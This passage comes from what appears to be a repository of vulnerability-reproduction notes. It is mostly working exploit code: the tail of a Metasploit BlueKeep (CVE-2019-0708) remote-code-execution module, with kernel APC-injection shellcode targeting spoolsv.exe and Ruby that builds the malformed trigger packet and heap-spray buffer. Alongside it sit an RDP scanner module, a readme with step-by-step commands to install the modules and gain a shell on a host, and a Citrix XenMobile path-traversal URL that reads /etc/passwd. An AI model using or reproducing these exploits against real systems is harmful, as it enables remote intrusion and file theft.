 612 |     je _insert_queue_apc_done    ; not found !!!
 613 | 
 614 |     ; if (r9 - r14 < 0x700) found
 615 |     mov rax, r9
 616 |     sub rax, r14
 617 |     cmp rax, 0x700
 618 |     ja _find_ethread_threadlist_offset_loop
 619 |     sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)
 620 | 
 621 | 
 622 |     ;======================================
 623 |     ; find offset of EPROCESS.ActiveProcessLinks
 624 |     ;======================================
 625 |     mov edi, #{psgetprocessid_hash}
 626 |     call get_proc_addr
 627 |     mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)
 628 |     add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
 629 | 
 630 | 
 631 |     ;======================================
 632 |     ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
 633 |     ;======================================
 634 |     ; check process name
 635 | 
 636 | 
 637 |     xor eax, eax      ; HACK to exit earlier if process not found
 638 | 
 639 | _find_target_process_loop:
 640 |     lea rsi, [rcx+rbx]
 641 | 
 642 |     push rax
 643 |     call calc_hash
 644 |     cmp eax, #{spoolsv_exe_hash}  ; "spoolsv.exe"
 645 |     pop rax
 646 |     jz found_target_process
 647 | 
 648 | ;---------- HACK PROCESS NOT FOUND start -----------
 649 |     inc rax
 650 |     cmp rax, 0x300      ; HACK not found!
 651 |     jne _next_find_target_process
 652 |     xor ecx, ecx
 653 |     ; clear queueing kapc flag, allow other hijacked system call to run shellcode
 654 |     mov byte [rbp+#{data_queueing_kapc_offset}], cl
 655 | 
 656 |     jmp _r3_to_r0_done
 657 | 
 658 | ;---------- HACK PROCESS NOT FOUND end -----------
 659 | 
 660 | _next_find_target_process:
 661 |     ; next process
 662 |     mov rcx, [rcx+rdi]
 663 |     sub rcx, rdi
 664 |     jmp _find_target_process_loop
 665 | 
 666 | 
 667 | found_target_process:
 668 |     ; The allocation for userland payload will be in KernelApcRoutine.
 669 |     ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
 670 | 
 671 |     ;======================================
 672 |     ; save process PEB for finding CreateThread address in kernel KAPC routine
 673 |     ;======================================
 674 |     mov edi, #{psgetprocesspeb_hash}
 675 |     ; rcx is EPROCESS. no need to set it.
 676 |     call win_api_direct
 677 |     mov [rbp+#{data_peb_addr_offset}], rax
 678 | 
 679 | 
 680 |     ;======================================
 681 |     ; iterate ThreadList until KeInsertQueueApc() success
 682 |     ;======================================
 683 |     ; r15 = nt
 684 |     ; r14 = -(offset of ETHREAD.ThreadListEntry)
 685 |     ; rcx = EPROCESS
 686 |     ; edx = offset of EPROCESS.ThreadListHead
 687 | 
 688 | 
 689 |     lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
 690 |     mov rbx, rsi    ; use rbx for iterating thread
 691 | 
 692 |     ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
 693 |     ; Moreover, alertable thread need to be waiting state which is more difficult to check.
 694 |     ; try queueing APC then check KAPC member is more reliable.
 695 | 
 696 | _insert_queue_apc_loop:
 697 |     ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
 698 |     mov rbx, [rbx+8]
 699 | 
 700 |     cmp rsi, rbx
 701 |     je _insert_queue_apc_loop   ; skip list head
 702 | 
 703 |     ; find start of ETHREAD address
 704 |     ; set it to rdx to be used for KeInitializeApc() argument too
 705 |     lea rdx, [rbx + r14]    ; ETHREAD
 706 | 
 707 |     ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
 708 |     ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
 709 |     ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
 710 |     ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
 711 |     ; Teb member is next to Queue member.
 712 |     mov edi, #{psgetthreadteb_hash}
 713 |     call get_proc_addr
 714 |     mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)
 715 |     cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL
 716 |     je _insert_queue_apc_loop
 717 | 
 718 |     ; KeInitializeApc(PKAPC,
 719 |     ;                 PKTHREAD,
 720 |     ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
 721 |     ;                 PKKERNEL_ROUTINE = kernel_apc_routine,
 722 |     ;                 PKRUNDOWN_ROUTINE = NULL,
 723 |     ;                 PKNORMAL_ROUTINE = userland_shellcode,
 724 |     ;                 KPROCESSOR_MODE = UserMode (1),
 725 |     ;                 PVOID Context);
 726 |     lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC
 727 |     xor r8, r8      ; OriginalApcEnvironment
 728 |     lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine
 729 |     push rbp    ; context
 730 |     push 1      ; UserMode
 731 |     push rbp    ; userland shellcode (MUST NOT be NULL)
 732 |     push r8     ; NULL
 733 |     sub rsp, 0x20   ; shadow stack
 734 |     mov edi, #{keinitializeapc_hash}
 735 |     call win_api_direct
 736 |     ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later
 737 | 
 738 |     ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
 739 |     ;   SystemArgument1 is second argument in usermode code (rdx)
 740 |     ;   SystemArgument2 is third argument in usermode code (r8)
 741 |     lea rcx, [rbp+#{data_kapc_offset}]
 742 |     ;xor edx, edx   ; no need to set it here
 743 |     ;xor r8, r8     ; no need to set it here
 744 |     xor r9, r9
 745 |     mov edi, #{keinsertqueueapc_hash}
 746 |     call win_api_direct
 747 |     add rsp, 0x40
 748 |     ; if insertion failed, try next thread
 749 |     test eax, eax
 750 |     jz _insert_queue_apc_loop
 751 | 
 752 |     mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry
 753 |     ; EPROCESS pointer 8 bytes
 754 |     ; InProgressFlags 1 byte
 755 |     ; KernelApcPending 1 byte
 756 |     ; if success, UserApcPending MUST be 1
 757 |     cmp byte [rax+0x1a], 1
 758 |     je _insert_queue_apc_done
 759 | 
 760 |     ; manual remove list without lock
 761 |     mov [rax], rax
 762 |     mov [rax+8], rax
 763 |     jmp _insert_queue_apc_loop
 764 | 
 765 | _insert_queue_apc_done:
 766 |     ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
 767 | 
 768 | _r3_to_r0_done:
 769 |     pop rax
 770 |     pop rbx
 771 |     pop rsi
 772 |     pop rdi
 773 |     pop r14
 774 |     pop r15
 775 |     ret
 776 | 
 777 | ;========================================================================
 778 | ; Call function in specific module
 779 | ;
 780 | ; All function arguments are passed as calling normal function with extra register arguments
 781 | ; Extra Arguments: r15 = module pointer
 782 | ;                  edi = hash of target function name
 783 | ;========================================================================
 784 | win_api_direct:
 785 |     call get_proc_addr
 786 |     jmp rax
 787 | 
 788 | 
 789 | ;========================================================================
 790 | ; Get function address in specific module
 791 | ;
 792 | ; Arguments: r15 = module pointer
 793 | ;            edi = hash of target function name
 794 | ; Return: eax = offset
 795 | ;========================================================================
 796 | get_proc_addr:
 797 |     ; Save registers
 798 |     push rbx
 799 |     push rcx
 800 |     push rsi                ; for using calc_hash
 801 | 
 802 |     ; use rax to find EAT
 803 |     mov eax, dword [r15+60]  ; Get PE header e_lfanew
 804 |     mov eax, dword [r15+rax+136] ; Get export tables RVA
 805 | 
 806 |     add rax, r15
 807 |     push rax                 ; save EAT
 808 | 
 809 |     mov ecx, dword [rax+24]  ; NumberOfFunctions
 810 |     mov ebx, dword [rax+32]  ; FunctionNames
 811 |     add rbx, r15
 812 | 
 813 | _get_proc_addr_get_next_func:
 814 |     ; When we reach the start of the EAT (we search backwards), we hang or crash
 815 |     dec ecx                     ; decrement NumberOfFunctions
 816 |     mov esi, dword [rbx+rcx*4]  ; Get rva of next module name
 817 |     add rsi, r15                ; Add the modules base address
 818 | 
 819 |     call calc_hash
 820 | 
 821 |     cmp eax, edi                        ; Compare the hashes
 822 |     jnz _get_proc_addr_get_next_func    ; try the next function
 823 | 
 824 | _get_proc_addr_finish:
 825 |     pop rax                     ; restore EAT
 826 |     mov ebx, dword [rax+36]
 827 |     add rbx, r15                ; ordinate table virtual address
 828 |     mov cx, word [rbx+rcx*2]    ; desired functions ordinal
 829 |     mov ebx, dword [rax+28]     ; Get the function addresses table rva
 830 |     add rbx, r15                ; Add the modules base address
 831 |     mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA
 832 |     add rax, r15                ; Add the modules base address to get the functions actual VA
 833 | 
 834 |     pop rsi
 835 |     pop rcx
 836 |     pop rbx
 837 |     ret
 838 | 
 839 | ;========================================================================
 840 | ; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
 841 | ;
 842 | ; Argument: rsi = string to hash
 843 | ; Clobber: rsi
 844 | ; Return: eax = hash
 845 | ;========================================================================
 846 | calc_hash:
 847 |     push rdx
 848 |     xor eax, eax
 849 |     cdq
 850 | _calc_hash_loop:
 851 |     lodsb                   ; Read in the next byte of the ASCII string
 852 |     ror edx, 13             ; Rotate right our hash value
 853 |     add edx, eax            ; Add the next byte of the string
 854 |     test eax, eax           ; Stop when found NULL
 855 |     jne _calc_hash_loop
 856 |     xchg edx, eax
 857 |     pop rdx
 858 |     ret
 859 | 
 860 | 
 861 | ; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
 862 | ; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
 863 | ; Moreover, there is no lock when calling KernelApcRoutine.
 864 | ; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
 865 | ;
 866 | ; VOID KernelApcRoutine(
 867 | ;           IN PKAPC Apc,
 868 | ;           IN PKNORMAL_ROUTINE *NormalRoutine,
 869 | ;           IN PVOID *NormalContext,
 870 | ;           IN PVOID *SystemArgument1,
 871 | ;           IN PVOID *SystemArgument2)
 872 | kernel_kapc_routine:
 873 |     push rbp
 874 |     push rbx
 875 |     push rdi
 876 |     push rsi
 877 |     push r15
 878 | 
 879 |     mov rbp, [r8]       ; *NormalContext is our data area pointer
 880 | 
 881 |     mov r15, [rbp+#{data_nt_kernel_addr_offset}]
 882 |     push rdx
 883 |     pop rsi     ; mov rsi, rdx
 884 |     mov rbx, r9
 885 | 
 886 |     ;======================================
 887 |     ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
 888 |     ;======================================
 889 |     xor eax, eax
 890 |     mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
 891 |     ; rdx is already address of baseAddr
 892 |     mov [rdx], rax      ; baseAddr = 0
 893 |     mov ecx, eax
 894 |     not rcx             ; ProcessHandle = -1
 895 |     mov r8, rax         ; ZeroBits
 896 |     mov al, 0x40    ; eax = 0x40
 897 |     push rax            ; PAGE_EXECUTE_READWRITE = 0x40
 898 |     shl eax, 6      ; eax = 0x40 << 6 = 0x1000
 899 |     push rax            ; MEM_COMMIT = 0x1000
 900 |     ; reuse r9 for address of RegionSize
 901 |     mov [r9], rax       ; RegionSize = 0x1000
 902 |     sub rsp, 0x20   ; shadow stack
 903 |     mov edi, #{zwallocatevirtualmemory_hash}
 904 |     call win_api_direct
 905 |     add rsp, 0x30
 906 | 
 907 |     ; check error
 908 |     test eax, eax
 909 |     jnz _kernel_kapc_routine_exit
 910 | 
 911 |     ;======================================
 912 |     ; copy userland payload
 913 |     ;======================================
 914 |     mov rdi, [rsi]
 915 | 
 916 | ;--------------------------- HACK IN EGG USER ---------
 917 | 
 918 |     push rdi
 919 | 
 920 |     lea rsi, [rel shellcode_start]
 921 |     mov rdi, 0x#{USERMODE_EGG.to_s(16)}
 922 | 
 923 |   _find_user_egg_loop:
 924 |       sub rsi, 0x#{CHUNK_SIZE.to_s(16)}
 925 |       mov rax, [rsi - 8]
 926 |       cmp rax, rdi
 927 |       jnz _find_user_egg_loop
 928 | 
 929 |   _inner_find_user_egg_loop:
 930 |       inc rsi
 931 |       mov rax, [rsi - 8]
 932 |       cmp rax, rdi
 933 |       jnz _inner_find_user_egg_loop
 934 | 
 935 |     pop rdi
 936 | ;--------------------------- END HACK EGG USER ------------
 937 | 
 938 |     mov ecx, 0x380  ; fix payload size to 0x380 bytes
 939 | 
 940 |     rep movsb
 941 | 
 942 |     ;======================================
 943 |     ; find CreateThread address (in kernel32.dll)
 944 |     ;======================================
 945 |     mov rax, [rbp+#{data_peb_addr_offset}]
 946 |     mov rax, [rax + 0x18]       ; PEB->Ldr
 947 |     mov rax, [rax + 0x20]       ; InMemoryOrder list
 948 | 
 949 |     ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
 950 |     ;mov rbx, rsi    ; use rbx for iterating thread
 951 | _find_kernel32_dll_loop:
 952 |     mov rax, [rax]       ; first one always be executable
 953 |     ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
 954 |     ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)
 955 |     ; offset 0x50  => is name
 956 |     ; offset 0x20  => is dllbase
 957 |     ;cmp word [rax+0x38], 0x40
 958 |     ;jne _find_kernel32_dll_loop
 959 |     cmp word [rax+0x48], 0x18
 960 |     jne _find_kernel32_dll_loop
 961 | 
 962 |     mov rdx, [rax+0x50]
 963 |     ; check only "32" because name might be lowercase or uppercase
 964 |     cmp dword [rdx+0xc], 0x00320033   ; 3\x002\x00
 965 |     jnz _find_kernel32_dll_loop
 966 | 
 967 |     ;int3
 968 |     mov r15, [rax+0x20]
 969 |     mov edi, #{createthread_hash}
 970 |     call get_proc_addr
 971 | 
 972 |     ; save CreateThread address to SystemArgument1
 973 |     mov [rbx], rax
 974 | 
 975 | _kernel_kapc_routine_exit:
 976 |     xor ecx, ecx
 977 |     ; clear queueing kapc flag, allow other hijacked system call to run shellcode
 978 |     mov byte [rbp+#{data_queueing_kapc_offset}], cl
 979 |     ; restore IRQL to APC_LEVEL
 980 |     mov cl, 1
 981 |     mov cr8, rcx
 982 | 
 983 |     pop r15
 984 |     pop rsi
 985 |     pop rdi
 986 |     pop rbx
 987 |     pop rbp
 988 |     ret
 989 | 
 990 | 
 991 | userland_start:
 992 | userland_start_thread:
 993 |     ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
 994 |     xchg rdx, rax   ; rdx is CreateThread address passed from kernel
 995 |     xor ecx, ecx    ; lpThreadAttributes = NULL
 996 |     push rcx        ; lpThreadId = NULL
 997 |     push rcx        ; dwCreationFlags = 0
 998 |     mov r9, rcx     ; lpParameter = NULL
 999 |     lea r8, [rel userland_payload]  ; lpStartAddr
1000 |     mov edx, ecx    ; dwStackSize = 0
1001 |     sub rsp, 0x20
1002 |     call rax
1003 |     add rsp, 0x30
1004 |     ret
1005 | 
1006 | userland_payload:
1007 |     ^
1008 | 
1009 |     [
1010 |       KERNELMODE_EGG,
1011 |       assemble_with_fixups(asm)
1012 |     ].pack('<Qa*')
1013 |   end
1014 | 
1015 |   def create_free_trigger(chan_user_id, chan_id)
1016 |     # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
1017 |     vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}")
1018 |     # The extra bytes on the end of the body is what causes the bad things to happen
1019 |     body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22
1020 |     rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)
1021 |   end
1022 | 
1023 |   def create_exploit_channel_buffer(target_addr)
1024 |     overspray_addr = target_addr + 0x2000
1025 |     shellcode_vtbl = target_addr + HEADER_SIZE
1026 |     magic_value1 = overspray_addr + 0x810
1027 |     magic_value2 = overspray_addr + 0x48
1028 |     magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE
1029 | 
1030 |     # first 0x38 bytes are used by DATA PDU packet
1031 |     # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE
1032 |     # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm
1033 |     [
1034 |       [
1035 |         # SystemResourceList (2 pointers, each 8 bytes)
1036 |         # Pointer to OWNER_ENTRY (8 bytes)
1037 |         # ActiveCount (SHORT, 2 bytes)
1038 |         # Flag (WORD, 2 bytes)
1039 |         # Padding (BYTE[4], 4 bytes) x64 only
1040 |         0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
1041 |         0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
1042 |         magic_value2, # OwnerThread (ULONG, 8 bytes)
1043 |         magic_value2, # TableSize (ULONG, 8 bytes)
1044 |         0x0, # ActiveEntries (DWORD, 4 bytes)
1045 |         0x0, # ContenttionCount (DWORD, 4 bytes)
1046 |         0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
1047 |         0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
1048 |         0x0, # Reserved2 (PVOID, 8 bytes) x64 only
1049 |         magic_value2, # Address (PVOID, 8 bytes)
1050 |         0x0, # SpinLock (UINT_PTR, 8 bytes)
1051 |       ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
1052 |       [
1053 |         magic_value2, # SystemResourceList (2 pointers, each 8 bytes)
1054 |         magic_value2, # --------------------
1055 |         0x0, # Pointer to OWNER_ENTRY (8 bytes)
1056 |         0x0, # ActiveCount (SHORT, 2 bytes)
1057 |         0x0, # Flag (WORD, 2 bytes)
1058 |         0x0, # Padding (BYTE[4], 4 bytes) x64 only
1059 |         0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
1060 |         0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
1061 |         magic_value2, # OwnerThread (ULONG, 8 bytes)
1062 |         magic_value2, # TableSize (ULONG, 8 bytes)
1063 |         0x0, # ActiveEntries (DWORD, 4 bytes)
1064 |         0x0, # ContenttionCount (DWORD, 4 bytes)
1065 |         0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
1066 |         0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
1067 |         0x0, # Reserved2 (PVOID, 8 bytes) x64 only
1068 |         magic_value2, # Address (PVOID, 8 bytes)
1069 |         0x0, # SpinLock (UINT_PTR, 8 bytes)
1070 |       ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
1071 |       [
1072 |         0x1F, # ClassOffset (DWORD, 4 bytes)
1073 |         0x0, # bindStatus (DWORD, 4 bytes)
1074 |         0x72, # lockCount1 (QWORD, 8 bytes)
1075 |         magic_value3, # connection (QWORD, 8 bytes)
1076 |         shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)
1077 |         0x5, # channelClass (DWORD, 4 bytes)
1078 |         "MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes)
1079 |         0x1F, # channelIndex (DWORD, 4 bytes)
1080 |         magic_value1, # channels (QWORD, 8 bytes)
1081 |         magic_value1, # connChannelsAddr (POINTER, 8 bytes)
1082 |         magic_value1, # list1 (QWORD, 8 bytes)
1083 |         magic_value1, # list1 (QWORD, 8 bytes)
1084 |         magic_value1, # list2 (QWORD, 8 bytes)
1085 |         magic_value1, # list2 (QWORD, 8 bytes)
1086 |         0x65756c62, # inputBufferLen (DWORD, 4 bytes)
1087 |         0x7065656b, # inputBufferLen (DWORD, 4 bytes)
1088 |         magic_value1, # connResrouce (QWORD, 8 bytes)
1089 |         0x65756c62, # lockCount158 (DWORD, 4 bytes)
1090 |         0x7065656b, # dword15C (DWORD, 4 bytes)
1091 |       ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')
1092 |     ].join('')
1093 |   end
1094 | 
1095 | end
1096 | 


--------------------------------------------------------------------------------
/2020_11_15_Windows RDP服务远程代码执行漏洞复现（CVE-2019-0708）-BlueKeep/rdp_scanner.rb:
--------------------------------------------------------------------------------
  1 | ##
  2 | # This module requires Metasploit: https://metasploit.com/download
  3 | # Current source: https://github.com/rapid7/metasploit-framework
  4 | ##
  5 | 
  6 | class MetasploitModule < Msf::Auxiliary
  7 |   include Msf::Exploit::Remote::RDP
  8 |   include Msf::Auxiliary::Scanner
  9 |   include Msf::Auxiliary::Report
 10 | 
 11 |   def initialize(info = {})
 12 |     super(
 13 |       update_info(
 14 |         info,
 15 |         'Name'           => 'Identify endpoints speaking the Remote Desktop Protocol (RDP)',
 16 |         'Description'    => %q(
 17 |           This module attempts to connect to the specified Remote Desktop Protocol port
 18 |           and determines if it speaks RDP.
 19 | 
 20 |           When available, the Credential Security Support Provider (CredSSP) protocol will be used to identify the
 21 |           version of Windows on which the server is running. Enabling the DETECT_NLA option will cause a second
 22 |           connection to be made to the server to identify if Network Level Authentication (NLA) is required.
 23 |         ),
 24 |         'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
 25 |         'References'     =>
 26 |           [
 27 |             ['URL', 'https://msdn.microsoft.com/en-us/library/cc240445.aspx']
 28 |           ],
 29 |         'License'        => MSF_LICENSE
 30 |       )
 31 |     )
 32 | 
 33 |     register_options(
 34 |       [
 35 |         Opt::RPORT(3389),
 36 |         OptBool.new('DETECT_NLA', [true, 'Detect Network Level Authentication (NLA)', true])
 37 |       ]
 38 |     )
 39 |   end
 40 | 
 41 |   def check_rdp
 42 |     begin
 43 |       rdp_connect
 44 |       is_rdp, version_info = rdp_fingerprint
 45 |     rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
 46 |       return false, nil
 47 |     ensure
 48 |       rdp_disconnect
 49 |     end
 50 | 
 51 |     service_info = nil
 52 |     if is_rdp
 53 |       product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'
 54 |       info = "Detected RDP on #{peer} (Windows version: #{product_version})"
 55 | 
 56 |       if datastore['DETECT_NLA']
 57 |         service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla?) ? 'Yes' : 'No'}"
 58 |         info << " (#{service_info})"
 59 |       end
 60 | 
 61 |       print_status(info)
 62 |     end
 63 | 
 64 |     return is_rdp, service_info
 65 |   end
 66 | 
 67 |   def requires_nla?
 68 |     begin
 69 |       rdp_connect
 70 |       is_rdp, server_selected_proto = rdp_check_protocol
 71 |     rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
 72 |       return false
 73 |     ensure
 74 |       rdp_disconnect
 75 |     end
 76 | 
 77 |     return false unless is_rdp
 78 |     return [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto
 79 |   end
 80 | 
 81 |   def run_host(_ip)
 82 |     is_rdp = false
 83 |     begin
 84 |       rdp_connect
 85 |       is_rdp, service_info = check_rdp
 86 |     rescue Rex::ConnectionError => e
 87 |       vprint_error("Error while connecting and negotiating RDP: #{e}")
 88 |       return
 89 |     ensure
 90 |       rdp_disconnect
 91 |     end
 92 |     return unless is_rdp
 93 | 
 94 |     report_service(
 95 |       host: rhost,
 96 |       port: rport,
 97 |       proto: 'tcp',
 98 |       name: 'RDP',
 99 |       info: service_info
100 |     )
101 |   end
102 | end
103 | 


--------------------------------------------------------------------------------
/2020_11_15_Windows RDP服务远程代码执行漏洞复现（CVE-2019-0708）-BlueKeep/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | Windows RDP：Windows下自带的一款远程桌面服务
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：2008_r2_standard_zh-chs
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：2008_r2_standard_zh-chs
10 | 
11 | 前提条件：  
12 | 2008_r2_standard_zh-chs修改注册表值项HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp\fDisableCam的值为1  
13 | （有的文章指出要修改的注册表值项为HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal\Server\WinStations\rdpwd\fDisableCam，但我的系统没有值项rdpwd，而在项RDP-Tcp下有值项fDisableCam）
14 | 
15 | # 0x03 利用条件
16 | Windows Server 2008 R2需要修改注册表  
17 | Windows Server 2008（还没尝试，但应该和Windows Server 2008 R2一样）  
18 | Windows 7无利用条件
19 | 
20 | # 0x04 影响版本
21 | Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)  
22 | Windows Server 2008 R2 for x64-based Systems Service Pack 1  
23 | Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1  
24 | Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)  
25 | Windows Server 2008 for x64-based Systems Service Pack 2  
26 | Windows Server 2008 for Itanium-Based Systems Service Pack 2  
27 | Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)  
28 | Windows Server 2008 for 32-bit Systems Service Pack 2  
29 | Windows 7 for x64-based Systems Service Pack 1  
30 | Windows 7 for 32-bit Systems Service Pack 1
31 | 
32 | # 0x05 漏洞复现
33 | 攻击环境：kali_x64_en-us
34 | 
35 | 将如下3个文件替换msf中默认的文件  
36 | cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/  
37 | cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/（有的文章中给出的目录是/usr/share/metasploit-framework/modules/auxiliary/scanner/，我想应该是少写了rdp/）  
38 | cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/  
39 | 将如下1个文件添加到msf中  
40 | cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/  
41 | 监听meterpreter：  
42 | msfconsole  
43 | search 0708  
44 | use windows/rdp/cve_2019_0708_bluekeep_rce  
45 | set RHOSTS 192.168.149.130  
46 | run  
47 | 选择目标为3（vmware）
48 | 
49 | 共尝试了4次：  
50 | 第一次没修改注册表，系统蓝屏  
51 | 第二次修改注册表后，成功拿到shell  
52 | 第三次修改注册表后，系统蓝屏  
53 | 第四次修改注册表后，报错Connection reset by peer  
54 | 结论，08 r2需要修改注册表，而且利用不稳定
55 | 
56 | # 0x06 踩坑记录
57 | 坑0：Exploit aborted due to failure: bad-config: Set the most appropriate target manually  
58 | 表示需要设置对应的目标  
59 | 坑1：Exploit failed: NameError undefined local variable or method  
60 | 需要额外修改三个文件  
61 | 坑2：Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer  
62 | 未知  
63 | 
64 | # 0x07 参考链接
65 | https://github.com/rapid7/metasploit-framework/pull/12283  
66 | http://blog.xkkhh.cn/archives/535
67 | 


--------------------------------------------------------------------------------
/2020_11_18_Citrix XenMobile目录遍历漏洞复现（CVE-2020-8209）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_18_Citrix XenMobile目录遍历漏洞复现（CVE-2020-8209）/0.png


--------------------------------------------------------------------------------
/2020_11_18_Citrix XenMobile目录遍历漏洞复现（CVE-2020-8209）/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_18_Citrix XenMobile目录遍历漏洞复现（CVE-2020-8209）/1.png


--------------------------------------------------------------------------------
/2020_11_18_Citrix XenMobile目录遍历漏洞复现（CVE-2020-8209）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | XenMobile：Citrix Endpoint Management（也称为XenMobile）用于管理员工的移动设备和移动应用程序。通常，由于Active Directory集成，它部署在网络外围并可以访问内部网络。这使XenMobile成为安全研究的主要目标。
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：无
 7 | 
 8 | # 0x02 环境搭建
 9 | 无
10 | 
11 | # 0x03 利用条件
12 | 无
13 | 
14 | # 0x04 影响版本
15 | Citrix XenMobile Server 10.12 before RP2  
16 | Citrix XenMobile Server 10.11 before RP4  
17 | Citrix XenMobile Server 10.10 before RP6  
18 | Citrix XenMobile Server before 10.9 RP5
19 | 
20 | # 0x05 漏洞复现
21 | 攻击环境：kali_x64_en-us
22 | 
23 | 直接在ip后加如下路径
24 | ```
25 | /jsp/help-sb-download.jsp?sbFileName=../../../../etc/passwd
26 | ```
27 | 如
28 | ```
29 | http://www.example.com/jsp/help-sb-download.jsp?sbFileName=../../../../etc/passwd
30 | ```
31 | 如下图  
32 | ![image](./0.png)  
33 | ![image](./1.png)
34 | 
35 | # 0x06 踩坑记录
36 | 无
37 | 
38 | # 0x07 参考链接
39 | https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
40 | 


--------------------------------------------------------------------------------
/2020_12_10_（未成功）Microsoft Exchange Server 2010远程代码执行漏洞复现（CVE-2020-17144）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_10_（未成功）Microsoft Exchange Server 2010远程代码执行漏洞复现（CVE-2020-17144）/0.png


--------------------------------------------------------------------------------
/2020_12_10_（未成功）Microsoft Exchange Server 2010远程代码执行漏洞复现（CVE-2020-17144）/CVE-2020-17144.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_10_（未成功）Microsoft Exchange Server 2010远程代码执行漏洞复现（CVE-2020-17144）/CVE-2020-17144.exe


